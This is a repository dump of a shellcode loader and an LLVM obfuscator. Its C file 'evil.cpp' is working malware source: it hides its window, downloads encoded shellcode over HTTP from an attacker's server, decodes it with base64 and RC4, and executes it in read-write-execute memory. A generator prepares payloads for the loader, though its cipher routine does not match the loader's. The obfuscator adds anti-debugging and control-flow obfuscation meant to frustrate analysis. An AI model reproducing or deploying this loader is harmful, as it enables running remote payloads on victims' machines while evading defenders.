├── C_version ├── evil.cpp └── generator.cpp ├── Generic_obfuscator ├── .gitmodules ├── CMakeLists.txt ├── README.md ├── bin │ └── build │ │ └── Kotoamatsukami.so ├── compiler │ ├── Kotoamatsukami.config │ ├── branch2call_process.py │ └── clang_wrapper.sh ├── docs │ └── Obfuscation-algorithm.md └── src │ ├── PassPlugin.cpp │ ├── include │ ├── AddJunkCodePass.h │ ├── AntiDebugPass.h │ ├── BogusControlFlow.h │ ├── Branch2Call.h │ ├── Branch2Call_32.h │ ├── Flatten.h │ ├── ForObsPass.h │ ├── GVEncrypt.h │ ├── IndirectBranch.h │ ├── IndirectCall.h │ ├── Log.hpp │ ├── Loopen.hpp │ ├── SplitBasicBlock.h │ ├── Substitution.h │ ├── TaintAnalysis.h │ ├── config.h │ └── utils.hpp │ ├── pass │ ├── AddJunkCodePass.cpp │ ├── AntiDebugPass.cpp │ ├── BogusControlFlow.cpp │ ├── Branch2Call.cpp │ ├── Branch2Call_32.cpp │ ├── Flatten.cpp │ ├── ForObsPass.cpp │ ├── GVEncrypt.cpp │ ├── IndirectBranch.cpp │ ├── IndirectCall.cpp │ ├── Loopen.cpp │ ├── SplitBasicBlock.cpp │ └── Substitution.cpp │ └── utils │ ├── TaintAnalysis.cpp │ ├── config.cpp │ ├── jitter.cpp │ ├── jitter.hpp │ └── utils.cpp ├── Go_version ├── CS-Loader.go └── generator.py ├── LICENSE ├── Powershell_version └── PSconfusion.py ├── Python2_version ├── PyLoader.py └── generator.py ├── Python3_version ├── PyLoader.py └── generator.py ├── README.md └── README_Chinese.md /C_version/evil.cpp: -------------------------------------------------------------------------------- 1 | #ifdef _MSC_VER 2 | #pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"" ) 3 | #endif 4 | #include 5 | #include 6 | #include 7 | #pragma comment(lib, "ws2_32.lib") 8 | 9 | unsigned char key[] = "ljjdfjdjdjs2803u8jc3344cxv121212"; /*RC4key,跟generator中的要一致*/ 10 | const char* IP = ""; /*your VPS IP*/ 11 | const char* path = "/shell.txt"; /* 服务器中shellcode的路径 */ 12 | int Base64ShellLen = ; /*generator中给出的长度*/ 13 | 14 | void base64_decode(unsigned char* code) 15 | { 16 | //根据base64表,以字符找到对应的十进制数据 17 | int table[] = { 0,0,0,0,0,0,0,0,0,0,0,0, 18 | 0,0,0,0,0,0,0,0,0,0,0,0, 19 | 0,0,0,0,0,0,0,0,0,0,0,0, 20 | 0,0,0,0,0,0,0,62,0,0,0, 21 | 63,52,53,54,55,56,57,58, 22 | 59,60,61,0,0,0,0,0,0,0,0, 23 | 1,2,3,4,5,6,7,8,9,10,11,12, 24 | 13,14,15,16,17,18,19,20,21, 25 | 22,23,24,25,0,0,0,0,0,0,26, 26 | 27,28,29,30,31,32,33,34,35, 27 | 36,37,38,39,40,41,42,43,44, 28 | 45,46,47,48,49,50,51 29 | }; 30 | long len; 31 | long str_len; 32 | unsigned char* res = NULL; 33 | int i, j; 34 | 35 | //计算解码后的字符串长度 36 | len = strlen((const char*)code); 37 | //判断编码后的字符串后是否有= 38 | if (strstr((const char*)code, "==")) 39 | str_len = len / 4 * 3 - 2; 40 | else if (strstr((const char*)code, "=")) 41 | str_len = len / 4 * 3 - 1; 42 | else 43 | str_len = len / 4 * 3; 44 | 45 | res = (unsigned char*)calloc(sizeof(unsigned char) * str_len + 3, 1); 46 | 47 | //以4个字符为一位进行解码 48 | for (i = 0, j = 0; i < len - 2; j += 3, i += 4) 49 | { 50 | res[j] = ((unsigned char)table[code[i]]) << 2 | (((unsigned char)table[code[i + 1]]) >> 4); //取出第一个字符对应base64表的十进制数的前6位与第二个字符对应base64表的十进制数的后2位进行组合 51 | res[j + 1] = (((unsigned char)table[code[i + 1]]) << 4) | (((unsigned char)table[code[i + 2]]) >> 2); //取出第二个字符对应base64表的十进制数的后4位与第三个字符对应bas464表的十进制数的后4位进行组合 52 | res[j + 2] = (((unsigned char)table[code[i + 2]]) << 6) | ((unsigned char)table[code[i + 3]]); //取出第三个字符对应base64表的十进制数的后2位与第4个字符进行组合 53 | } 54 | RtlMoveMemory(code, res, len); 55 | free(res); 56 | res = NULL; 57 | } 58 | 59 | 60 | char* GetCode(const char* host) 61 | { 62 | WSADATA data; 63 | int err = WSAStartup(MAKEWORD(2, 2), &data); 64 | 65 | LPSTR ipstr = (char*)host; 66 | 67 | //Socket封装 68 | struct sockaddr_in si; 69 | si.sin_family = AF_INET; 70 | si.sin_port = htons(80); 71 | si.sin_addr.S_un.S_addr = inet_addr(ipstr); 72 | int sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); 73 | connect(sock, (SOCKADDR*)&si, sizeof(si)); 74 | if (sock == -1 || sock == -2) 75 | return 0; 76 | 77 | //发送请求 78 | char request[1024] = "GET "; 79 | strcat_s(request, path); 80 | strcat_s(request, " HTTP/1.1\r\nHost:"); 81 | strcat_s(request, host); 82 | strcat_s(request, "\r\nConnection:Close\r\n\r\n"); 83 | int ret = send(sock, request, strlen(request), 0); 84 | const int bufsize = 6144; 85 | char* buf = (char*)calloc(bufsize, 1); 86 | ret = recv(sock, buf, bufsize - 1, 0); 87 | while (TRUE) { 88 | if (*buf == '\x0d' && *(buf + 1) == '\x0a' && *(buf + 2) == '\x0d' && *(buf + 3) == '\x0a') 89 | break; 90 | else 91 | buf++; 92 | } 93 | buf += 4; 94 | closesocket(sock); 95 | WSACleanup(); 96 | return buf; 97 | } 98 | 99 | //-----------------------RC4---------------------------------// 100 | void swap(unsigned char* s1, unsigned char* s2) 101 | { 102 | char temp; 103 | temp = *s1; 104 | *s1 = *s2; 105 | *s2 = temp; 106 | } 107 | void re_S(unsigned char* S) 108 | { 109 | int i; 110 | for (i = 0; i < 256; i++) 111 | S[i] = i; 112 | } 113 | void re_T(unsigned char* T, unsigned char* key) 114 | { 115 | int i; 116 | int keylen; 117 | keylen = strlen((const char*)key); 118 | for (i = 0; i < 256; i++) 119 | T[i] = key[i % keylen]; 120 | } 121 | void re_Sbox(unsigned char* S, unsigned char* T) 122 | { 123 | int i; 124 | int j = 0; 125 | for (i = 0; i < 256; i++) 126 | { 127 | j = (j + S[i] + T[i]) % 256; 128 | swap(&S[i], &S[j]); 129 | } 130 | } 131 | 132 | void RC4(unsigned char* text, unsigned char* key, int txtlen) 133 | { 134 | unsigned char S[256] = { 0 }; 135 | int i, j, m; 136 | unsigned char k = 0; 137 | unsigned char T[256] = { 0 }; 138 | re_S(S); 139 | re_T(T, key); 140 | re_Sbox(S, T); 141 | i = j = m = 0; 142 | while (m < txtlen) 143 | { 144 | 145 | i = (i + 1) % 256; 146 | j = (j + S[i]) % 256; 147 | swap(&S[i], &S[j]); 148 | k = text[m] ^ (S[(S[i] + S[j]) % 256]); 149 | text[m] = k; 150 | m++; 151 | } 152 | } 153 | //-----------------------RC4---------------------------------// 154 | 155 | int main() 156 | { 157 | char* raw = 0; 158 | raw = GetCode(IP); 159 | int len = strlen(raw); 160 | unsigned char* Scode = (unsigned char*)calloc(6144, 1); 161 | RtlMoveMemory(Scode, raw, len); 162 | base64_decode(Scode); 163 | len = Base64ShellLen; 164 | RC4(Scode, key, len); 165 | base64_decode(Scode); 166 | void* exec = VirtualAlloc(0, 1024, MEM_COMMIT, PAGE_EXECUTE_READWRITE); 167 | RtlMoveMemory(exec, Scode, 1024); 168 | ((void(*)())exec)(); 169 | return 0; 170 | } 171 | -------------------------------------------------------------------------------- /C_version/generator.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #pragma comment(lib, "ws2_32.lib") 6 | 7 | unsigned char key[] = ""; /*use md5(key)*/ 8 | unsigned char buf[] = ""; /*your shellcode here*/ 9 | int len = 0; /*lenth of your shellcode*/ 10 | 11 | unsigned char* base64_encode(unsigned char* str, int str_len) 12 | { 13 | long len; 14 | unsigned char* res; 15 | int i, j; 16 | //定义base64编码表 17 | unsigned char* base64_table = (unsigned char*)"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; 18 | 19 | //计算经过base64编码后的字符串长度 20 | if (str_len % 3 == 0) 21 | len = str_len / 3 * 4; 22 | else 23 | len = (str_len / 3 + 1) * 4; 24 | 25 | res = (unsigned char*)malloc(sizeof(unsigned char) * len + 1); 26 | res[len] = '\0'; 27 | 28 | //以3个8位字符为一组进行编码 29 | for (i = 0, j = 0; i < len - 2; j += 3, i += 4) 30 | { 31 | res[i] = base64_table[str[j] >> 2]; //取出第一个字符的前6位并找出对应的结果字符 32 | res[i + 1] = base64_table[(str[j] & 0x3) << 4 | (str[j + 1] >> 4)]; //将第一个字符的后位与第二个字符的前4位进行组合并找到对应的结果字符 33 | res[i + 2] = base64_table[(str[j + 1] & 0xf) << 2 | (str[j + 2] >> 6)]; //将第二个字符的后4位与第三个字符的前2位组合并找出对应的结果字符 34 | res[i + 3] = base64_table[str[j + 2] & 0x3f]; //取出第三个字符的后6位并找出结果字符 35 | } 36 | 37 | switch (str_len % 3) 38 | { 39 | case 1: 40 | res[i - 2] = '='; 41 | res[i - 1] = '='; 42 | break; 43 | case 2: 44 | res[i - 1] = '='; 45 | break; 46 | } 47 | 48 | return res; 49 | } 50 | 51 | char* GetCode(const char* host) 52 | { 53 | WSADATA data; 54 | int err = WSAStartup(MAKEWORD(2, 2), &data); 55 | 56 | LPSTR ipstr = (char*)host; 57 | 58 | //Socket封装 59 | struct sockaddr_in si; 60 | si.sin_family = AF_INET; 61 | si.sin_port = htons(80); 62 | si.sin_addr.S_un.S_addr = inet_addr(ipstr); 63 | int sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); 64 | connect(sock, (SOCKADDR*)&si, sizeof(si)); 65 | if (sock == -1 || sock == -2) 66 | return 0; 67 | 68 | //发送请求 69 | char request[1024] = "GET /RC4Payload32.txt HTTP/1.1\r\nHost:"; 70 | strcat_s(request, host); 71 | strcat_s(request, "\r\nConnection:Close\r\n\r\n"); 72 | int ret = send(sock, request, strlen(request), 0); 73 | const int bufsize = 4096; 74 | char* buf = (char*)calloc(bufsize, 1); 75 | ret = recv(sock, buf, bufsize - 1, 0); 76 | while (TRUE) { 77 | if (*buf == '\x0d' && *(buf + 1) == '\x0a' && *(buf + 2) == '\x0d' && *(buf + 3) == '\x0a') 78 | break; 79 | else 80 | buf++; 81 | } 82 | buf += 4; 83 | closesocket(sock); 84 | WSACleanup(); 85 | return buf; 86 | } 87 | 88 | //-----------------------RC4---------------------------------// 89 | void swap(unsigned char* s1, unsigned char* s2) 90 | { 91 | char temp; 92 | temp = *s1; 93 | *s1 = *s2; 94 | *s2 = temp; 95 | } 96 | void re_S(unsigned char* S) 97 | { 98 | int i; 99 | for (i = 0; i < 256; i++) 100 | S[i] = i; 101 | } 102 | void re_T(unsigned char* T, unsigned char* key) 103 | { 104 | int i; 105 | int keylen; 106 | keylen = strlen((const char*)key); 107 | for (i = 0; i < 256; i++) 108 | T[i] = key[i % keylen]; 109 | } 110 | void re_Sbox(unsigned char* S, unsigned char* T) 111 | { 112 | int i; 113 | int j = 0; 114 | for (i = 0; i < 256; i++) 115 | { 116 | j = (j + S[i] + T[i]) % 256; 117 | swap(&S[i], &S[j]); 118 | } 119 | } 120 | 121 | void RC4(unsigned char* text, unsigned char* key, int txtlen) 122 | { 123 | unsigned char S[256] = { 0 }; 124 | int i, k; 125 | unsigned char T[256] = { 0 }; 126 | re_S(S); 127 | re_T(T, key); 128 | re_Sbox(S, T); 129 | i = k = 0; 130 | while (k < txtlen) 131 | { 132 | text[k] = text[k] ^ S[i]; 133 | i = (i + 1) % 256; 134 | k++; 135 | } 136 | } 137 | //-----------------------RC4---------------------------------// 138 | 139 | int main() { 140 | unsigned char* tmp = buf; 141 | tmp = base64_encode(tmp, len); 142 | len = strlen((const char *)tmp); 143 | printf("%d\n", len); 144 | RC4(tmp, key, len); 145 | printf("%s\n\n", base64_encode(tmp, len)); 146 | return 0; 147 | } 148 | -------------------------------------------------------------------------------- /Generic_obfuscator/.gitmodules: -------------------------------------------------------------------------------- 1 | [submodule "lib/json"] 2 | path = lib/json 3 | url = https://github.com/nlohmann/json 4 | -------------------------------------------------------------------------------- /Generic_obfuscator/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | cmake_minimum_required(VERSION 3.10) 2 | project(Generic_obfuscator) 3 | 4 | set(CMAKE_CXX_STANDARD 17) 5 | set(CMAKE_CXX_STANDARD_REQUIRED ON) 6 | set(CMAKE_EXPORT_COMPILE_COMMANDS ON) 7 | set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} -g") 8 | set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} -g") 9 | # set(WORKING_DIRECTORY "/home/zzzccc/cxzz/Generic_obfuscator/") 10 | # Find LLVM package 11 | set(LLVM_DIR "/home/zzzccc/llvm-17/llvm-project/build/lib/cmake/llvm") 12 | find_package(LLVM REQUIRED CONFIG) 13 | # Print LLVM information 14 | message(STATUS "Found LLVM ${LLVM_PACKAGE_VERSION}") 15 | message(STATUS "Using LLVMConfig.cmake in: ${LLVM_DIR}") 16 | 17 | # 引入json处理库 18 | # 添加 nlohmann/json 作为子模块 19 | include(FetchContent) 20 | 21 | FetchContent_Declare( 22 | json 23 | SOURCE_DIR /home/zzzccc/cxzz/Generic_obfuscator/lib/json 24 | ) 25 | 26 | FetchContent_MakeAvailable(json) 27 | 28 | 29 | # Include LLVM directories 30 | message(${LLVM_INCLUDE_DIRS}) 31 | include_directories(${LLVM_INCLUDE_DIRS}) 32 | include_directories("/home/zzzccc/cxzz/Generic_obfuscator/src/include") 33 | include_directories("/home/zzzccc/cxzz/Generic_obfuscator/lib/json/include") 34 | include_directories("/home/zzzccc/cxzz/Generic_obfuscator/lib/json/single_include/nlohmann") 35 | 36 | link_directories(${LLVM_LIBRARY_DIRS}) 37 | message(STATUS "WORKING_DIRECTORY: ${WORKING_DIRECTORY}") 38 | include(AddLLVM) 39 | include(HandleLLVMOptions) 40 | 41 | add_definitions("${LLVM_DEFINITIONS}") 42 | 43 | add_llvm_pass_plugin(Generic_obfuscator 44 | src/PassPlugin.cpp 45 | src/pass/AddJunkCodePass.cpp 46 | src/pass/Branch2Call.cpp 47 | src/pass/Branch2Call_32.cpp 48 | src/pass/ForObsPass.cpp 49 | src/pass/Loopen.cpp 50 | src/pass/AntiDebugPass.cpp 51 | src/pass/SplitBasicBlock.cpp 52 | src/pass/IndirectBranch.cpp 53 | src/pass/IndirectCall.cpp 54 | src/pass/BogusControlFlow.cpp 55 | src/pass/Substitution.cpp 56 | src/pass/Flatten.cpp 57 | src/pass/GVEncrypt.cpp 58 | src/utils/utils.cpp 59 | src/utils/config.cpp 60 | src/utils/TaintAnalysis.cpp 61 | ) 62 | 63 | 64 | # # # Define the executable 65 | # add_executable(jit_asm 66 | # src/utils/jitter.cpp 67 | # src/utils/json_utils.cpp 68 | # src/utils/o-mvll_utils.cpp) 69 | 70 | # Link against LLVM libraries 71 | # 链接LLVM库 72 | # llvm_map_components_to_libnames(llvm_libs 73 | # ExecutionEngine 74 | # MCJIT 75 | # OrcJIT 76 | # Core 77 | # Support 78 | # nativecodegen 79 | # X86AsmParser 80 | # X86CodeGen 81 | # X86Desc 82 | # X86Disassembler 83 | # X86Info 84 | # native 85 | # irreader 86 | # ) 87 | 88 | set(CMAKE_EXE_LINKER_FLAGS "${CMAKE_EXE_LINKER_FLAGS} -rdynamic") 89 | # Use LLVM's target link libraries 90 | # target_link_libraries(Generic_obfuscator ${llvm_libs} ${LLVM_LIBRARIES}) 91 | # # 添加 ASan 编译器和链接器标志 92 | # set(SANITIZER_FLAGS "-fsanitize=address -fno-omit-frame-pointer -g") 93 | 94 | # # 应用到所有目标 95 | # set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} ${SANITIZER_FLAGS}") 96 | # set(CMAKE_EXE_LINKER_FLAGS "${CMAKE_EXE_LINKER_FLAGS} ${SANITIZER_FLAGS}") 97 | 98 | 99 | # # 为 Generic_obfuscator 插件单独设置 ASan 100 | # target_compile_options(Generic_obfuscator PRIVATE -fsanitize=address -fno-omit-frame-pointer) 101 | # target_link_options(Generic_obfuscator PRIVATE -fsanitize=address) 102 | 103 | target_link_libraries(Generic_obfuscator nlohmann_json::nlohmann_json) 104 | -------------------------------------------------------------------------------- /Generic_obfuscator/README.md: -------------------------------------------------------------------------------- 1 | # Generic_obfuscator 2 | 3 | Generic_obfuscator is an obfuscator based on LLVM-17, utilizing LLVM's new pass to implement plug-in features, for obfuscating multiple languages and platforms. 4 | 5 | I will provide a complete set of related documentation in the future,now you can find the dynamically link files-Generic_obfuscator.so in /bin/build. 6 | 7 | PS:This project is written by myself out of interest, it may not be complete, if you have any questions about this project, please feel free to contact me. 8 | 9 | The obfuscation algorithm details in docs 10 | 11 | ## How to install 12 | 13 | You can compile LLVM-17 project in by youself in your computer,then modify the CMakeLists.txt of this project to compile it. 14 | 15 | The following are the commands I use for your reference: 16 | 17 | ``` 18 | git clone --depth 1 -b release/17.x https://github.com/llvm/llvm-project.git 19 | mkdir build 20 | cmake -G Ninja -DLLVM_ENABLE_PROJECTS="clang;lld" -DLLVM_TARGETS_TO_BUILD="X86;ARM;AArch64" -DCMAKE_BUILD_TYPE=Release -DLLVM_INCLUDE_TESTS=OFF -DLLVM_ENABLE_RTTI=ON -DCMAKE_INSTALL_PREFIX=./build/ ../llvm-project/llvm 21 | ninja -j8 22 | ninja install 23 | ``` 24 | 25 | These commands will install compiled products to /build,then your need modify the CMakeLists.txt of this project. 26 | 27 | ``` 28 | cd Generic_obfuscator 29 | git submodule update --init --recursive 30 | mkdir build 31 | cd build 32 | cmake .. 33 | make -j 34 | ``` 35 | 36 | finish ~~ 37 | 38 | ## How to use 39 | 40 | Now you can use this obfucator easily,you just need install the clang-17 first,then modify the `Generic_obfuscator_so` in the `compiler/clang_wrapper.sh`,then you can use it in `compiler` directory, and i will supply compiled so in the `/bin`. 41 | 42 | (PS:If you don't use it in `compiler` directory,make sure to copy `/compiler/Generic_obfuscator.config` and `/compiler/branch2call_process.py`to your `work directory`) 43 | 44 | The compile options to use as shown below(): 45 | 46 | ```sh 47 | ./clang_wrapper.sh flatten branch2call …… -o 48 | ``` 49 | 50 | - : Path to the source code file you want to obfuscate (e.g., my_program.c). 51 | - -o : Path to the output executable file (e.g., my_program). 52 | - {obfuscation_options}: This is a space-separated list of obfuscation passes you wish to apply. Here are the available options (matching the internal pass names in the provided code snippet): 53 | - **split-basic-block**: Splits basic blocks within the code. 54 | - **anti-debug**: Inserts anti-debugging techniques. 55 | - **gv-encrypt**: Encrypts global variables. 56 | - **bogus-control-flow**: Inserts bogus control flow to confuse analysis. 57 | - **add-junk-code**: Adds junk code to increase code size and complexity. 58 | - **loopen**: Applies loop-based obfuscation. 59 | - **for-obs**: Applies for loop based obfuscation 60 | - **branch2call-32**: Converts branches to calls (32-bit version). 61 | - **branch2call**: Converts branches to calls. 62 | - **indirect-call**: Inserts indirect function calls. 63 | - **indirect-branch**: Inserts indirect branches. 64 | - **flatten**: Flattens the control flow of the program. 65 | - **substitution**: Replaces instructions with equivalent sequences. 66 | 67 | **Example:** 68 | 69 | To apply global variable encryption and bogus control flow to a file named rc4.c, and generate an executable named rc4, you would use: 70 | 71 | ```sh 72 | ./clang_wrapper.sh gv-encrypt bogus-control-flow ./tests/rc4.c -o ./tests/rc4 73 | ``` 74 | 75 | To apply global variable encryption only: 76 | 77 | ```sh 78 | ./clang_wrapper.sh gv-encrypt ./tests/rc4.c -o ./tests/rc4 79 | ``` 80 | 81 | ### Details 82 | 83 | You can set the configuration file in `/tmp/Generic_obfuscator/Generic_obfuscator.config`,which format is as follows. 84 | 85 | **`0`**: All functions are turned off (everything is disabled). 86 | 87 | **`1`**: All functions are turned on (everything is enabled). 88 | 89 | **`2`**: Enable only the functions that are already enabled (keep the enabled functions on, others unchanged). 90 | 91 | **`3`**: Enable all functions except those that are explicitly disabled (enable all functions that are not disabled). 92 | 93 | You can find the example of Generic_obfuscator.config in https://github.com/zzzcccyyyggg/Generic_obfuscator/blob/llvm-17-plugins/compiler/Generic_obfuscator.config 94 | 95 | Then you can use the Generic_obfuscator.so as follows: 96 | 97 | ```shell 98 | -fpass-plugin= 99 | ``` -------------------------------------------------------------------------------- /Generic_obfuscator/bin/build/Kotoamatsukami.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Gality369/CS-Loader/e4703d3eeebd4f66db056c32e9cf737459958314/Generic_obfuscator/bin/build/Kotoamatsukami.so -------------------------------------------------------------------------------- /Generic_obfuscator/compiler/Kotoamatsukami.config: -------------------------------------------------------------------------------- 1 | { 2 | "target": "X86_64", 3 | "loopen": { 4 | "model": 1, 5 | "enable function": [ 6 | "" 7 | ], 8 | "disable function": [], 9 | "loopen_x_list": [ 10 | 2, 11 | 3, 12 | 5, 13 | 8, 14 | 11, 15 | 12, 16 | 13, 17 | 14, 18 | 18, 19 | 20, 20 | 21, 21 | 27, 22 | 30, 23 | 31, 24 | 32, 25 | 34, 26 | 35, 27 | 37, 28 | 38, 29 | 41, 30 | 43, 31 | 44, 32 | 45, 33 | 46, 34 | 48, 35 | 50, 36 | 51, 37 | 52, 38 | 56, 39 | 57, 40 | 66, 41 | 69, 42 | 71, 43 | 72, 44 | 73, 45 | 75, 46 | 77, 47 | 78, 48 | 80, 49 | 84, 50 | 85, 51 | 89, 52 | 91, 53 | 94, 54 | 95, 55 | 97, 56 | 98, 57 | 99, 58 | 103, 59 | 106, 60 | 108, 61 | 110, 62 | 113, 63 | 115, 64 | 116, 65 | 120, 66 | 124, 67 | 125, 68 | 126, 69 | 128, 70 | 130, 71 | 134, 72 | 136, 73 | 137, 74 | 140, 75 | 141, 76 | 147, 77 | 148, 78 | 152, 79 | 157, 80 | 158, 81 | 159, 82 | 162, 83 | 163, 84 | 164, 85 | 165, 86 | 167, 87 | 172, 88 | 173, 89 | 174, 90 | 176, 91 | 180, 92 | 184, 93 | 187, 94 | 189, 95 | 192, 96 | 195, 97 | 197, 98 | 199, 99 | 200, 100 | 201, 101 | 202, 102 | 204, 103 | 209, 104 | 210, 105 | 214, 106 | 217, 107 | 218, 108 | 221, 109 | 222, 110 | 224, 111 | 227, 112 | 228, 113 | 233, 114 | 235, 115 | 236, 116 | 237, 117 | 238, 118 | 239, 119 | 241, 120 | 242, 121 | 243, 122 | 244, 123 | 245, 124 | 246, 125 | 247, 126 | 249, 127 | 253, 128 | 254, 129 | 257, 130 | 258, 131 | 259, 132 | 261, 133 | 262, 134 | 263, 135 | 264, 136 | 266, 137 | 270, 138 | 275, 139 | 276, 140 | 278, 141 | 279, 142 | 284, 143 | 286, 144 | 287, 145 | 288, 146 | 290, 147 | 292, 148 | 293, 149 | 298, 150 | 299, 151 | 300, 152 | 301, 153 | 303, 154 | 306, 155 | 307, 156 | 308, 157 | 310, 158 | 311, 159 | 312, 160 | 315, 161 | 320, 162 | 322, 163 | 325, 164 | 327, 165 | 333, 166 | 335, 167 | 336, 168 | 337, 169 | 338, 170 | 340, 171 | 342, 172 | 347, 173 | 350, 174 | 353, 175 | 354, 176 | 356, 177 | 357, 178 | 363, 179 | 364, 180 | 366, 181 | 369, 182 | 370, 183 | 373, 184 | 376, 185 | 379, 186 | 380, 187 | 382, 188 | 386, 189 | 387, 190 | 388, 191 | 392, 192 | 393, 193 | 395, 194 | 396, 195 | 397, 196 | 399, 197 | 405, 198 | 410, 199 | 412, 200 | 414, 201 | 415, 202 | 417, 203 | 421, 204 | 422, 205 | 424, 206 | 426, 207 | 429, 208 | 430, 209 | 432, 210 | 433, 211 | 435, 212 | 438, 213 | 440, 214 | 443, 215 | 446, 216 | 447, 217 | 450, 218 | 453, 219 | 458, 220 | 459, 221 | 460, 222 | 462, 223 | 464, 224 | 465, 225 | 467, 226 | 468, 227 | 479, 228 | 480, 229 | 483, 230 | 493, 231 | 496, 232 | 497, 233 | 499, 234 | 500, 235 | 502, 236 | 504, 237 | 505, 238 | 507, 239 | 509, 240 | 510, 241 | 511, 242 | 512 243 | ], 244 | "module_name": "/home/zzzccc/cxzz/Generic_obfuscator/config/quick_pow.ll" 245 | }, 246 | "forObs": { 247 | "model": 1, 248 | "enable function": [ 249 | "" 250 | ], 251 | "disable function": [ 252 | "" 253 | ] 254 | }, 255 | "splitBasicBlocks": { 256 | "model": 1, 257 | "enable function": [ 258 | "" 259 | ], 260 | "disable function": [], 261 | "split number": 3 262 | }, 263 | "branch2call": { 264 | "model": 1, 265 | "enable function": [ 266 | "" 267 | 268 | ], 269 | "disable function": [ 270 | "" 271 | ], 272 | "split number": 3 273 | }, 274 | "branch2call_32": { 275 | "model": 1, 276 | "enable function": [ 277 | "" 278 | 279 | ], 280 | "disable function": [ 281 | "" 282 | ], 283 | "split number": 3 284 | }, 285 | "junkCode": { 286 | "model": 1, 287 | "enable function": [ 288 | "" 289 | ], 290 | "disable function": [ 291 | "" 292 | ] 293 | }, 294 | "antiDebug": { 295 | "model": 1, 296 | "enable function": [ 297 | "" 298 | ], 299 | "disable function": [ 300 | "" 301 | ] 302 | }, 303 | "indirectBranch": { 304 | "model": 1, 305 | "enable function": [ 306 | "" 307 | ], 308 | "disable function": [ 309 | "" 310 | ] 311 | }, 312 | "indirectCall": { 313 | "model": 1, 314 | "enable function": [ 315 | "" 316 | ], 317 | "disable function": [ 318 | "" 319 | ] 320 | }, 321 | "bogusControlFlow": { 322 | "model": 1, 323 | "enable function": [ 324 | "" 325 | ], 326 | "disable function": [ 327 | "" 328 | ] 329 | }, 330 | "substitution": { 331 | "model": 1, 332 | "enable function": [ 333 | "" 334 | ], 335 | "disable function": [ 336 | "" 337 | ] 338 | }, 339 | "flatten": { 340 | "model": 1, 341 | "enable function": [ 342 | "" 343 | ], 344 | "disable function": [ 345 | "" 346 | ] 347 | }, 348 | "gvEncrypt": { 349 | "model": 1, 350 | "enable function": [ 351 | "" 352 | ], 353 | "disable function": [ 354 | "" 355 | ] 356 | } 357 | } -------------------------------------------------------------------------------- /Generic_obfuscator/compiler/branch2call_process.py: -------------------------------------------------------------------------------- 1 | import re 2 | import sys 3 | def remove_assembly_code(input_file, output_file): 4 | with open(input_file, 'r') as infile: 5 | lines = infile.readlines() 6 | 7 | inside_block = False 8 | modified_lines = [] 9 | 10 | for line in lines: 11 | # 检测到 callq 行时,设置标志 12 | if re.match(r'\s*callq\s+IndirectConditionalJumpFunc', line): 13 | inside_block = True 14 | modified_lines.append(line) 15 | continue # 跳过这行,开始删除 16 | 17 | # 如果在删除块中,检测到 .Ltmp 行 18 | if inside_block and re.match(r'\s*\.Ltmp', line): 19 | inside_block = False 20 | modified_lines.append(line) 21 | continue # 跳过 .Ltmp 行,保留后续内容 22 | 23 | # 如果不是在删除块中,则保留这行 24 | if not inside_block: 25 | modified_lines.append(line) 26 | 27 | # 写入修改后的内容到输出文件 28 | with open(output_file, 'w') as outfile: 29 | outfile.writelines(modified_lines) 30 | 31 | if __name__ == "__main__": 32 | args = sys.argv 33 | if len(args) != 3: 34 | print("branch2call_process.py [input_file] [output_file] [mode]") 35 | print("int the mode, x86 is 1 ,x64 is 2") 36 | input_file = args[1] 37 | output_file = args[2] 38 | print("process " + input_file + " to " + output_file) 39 | remove_assembly_code(input_file, output_file) -------------------------------------------------------------------------------- /Generic_obfuscator/compiler/clang_wrapper.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # arguments 3 | # set -eux 4 | 5 | Generic_obfuscator_so=/home/zzzccc/cxzz/Generic_obfuscator/build/Generic_obfuscator.so 6 | CLANG=clang-17 7 | OPT=opt-17 8 | current_dir=$(pwd) 9 | BRANCH2CALL_PROCESS="$current_dir/branch2call_process.py" 10 | ANTIDEBUG_SOURCEFILE="$current_dir/Generic_obfuscator_Antidebug.c" 11 | obfuscate_args=() 12 | source_files="" 13 | output_file="" 14 | branch2call_enable=false 15 | generic_obfuscator_args=() # 用于存储 generic_obfuscator 的参数 16 | in_generic_obfuscator_args=false # 标志是否正在读取 generic_obfuscator 的参数 17 | in_output_arg=false 18 | old_args="" 19 | clang_args="" 20 | 21 | # $CLANG $ANTIDEBUG_SOURCEFILE -O0 -emit-llvm -S -o ${ANTIDEBUG_SOURCEFILE%.c}.ll 22 | for arg in "$@"; do 23 | old_args+=("$arg") 24 | if [[ "$arg" == "split-basic-block" ]]; then 25 | echo "识别到 split-basic-block" 26 | generic_obfuscator_args+=("$arg") 27 | elif [[ "$arg" == "anti-debug" ]]; then 28 | echo "识别到 anti-debug" 29 | generic_obfuscator_args+=("$arg") 30 | elif [[ "$arg" == "gv-encrypt" ]]; then 31 | echo "识别到 gv-encrypt" 32 | generic_obfuscator_args+=("$arg") 33 | elif [[ "$arg" == "bogus-control-flow" ]]; then 34 | echo "识别到 bogus-control-flow" 35 | generic_obfuscator_args+=("$arg") 36 | elif [[ "$arg" == "add-junk-code" ]]; then 37 | echo "识别到 add-junk-code" 38 | generic_obfuscator_args+=("$arg") 39 | elif [[ "$arg" == "loopen" ]]; then 40 | echo "识别到 loopen" 41 | generic_obfuscator_args+=("$arg") 42 | elif [[ "$arg" == "for-obs" ]]; then 43 | echo "识别到 for-obs" 44 | generic_obfuscator_args+=("$arg") 45 | elif [[ "$arg" == "branch2call-32" ]]; then 46 | echo "识别到 branch2call-32" 47 | branch2call_enable=true 48 | elif [[ "$arg" == "branch2call" ]]; then 49 | echo "识别到 branch2call" 50 | generic_obfuscator_args+=("$arg") 51 | branch2call_enable=true 52 | elif [[ "$arg" == "indirect-call" ]]; then 53 | echo "识别到 indirect-call" 54 | generic_obfuscator_args+=("$arg") 55 | elif [[ "$arg" == "indirect-branch" ]]; then 56 | echo "识别到 indirect-branch" 57 | 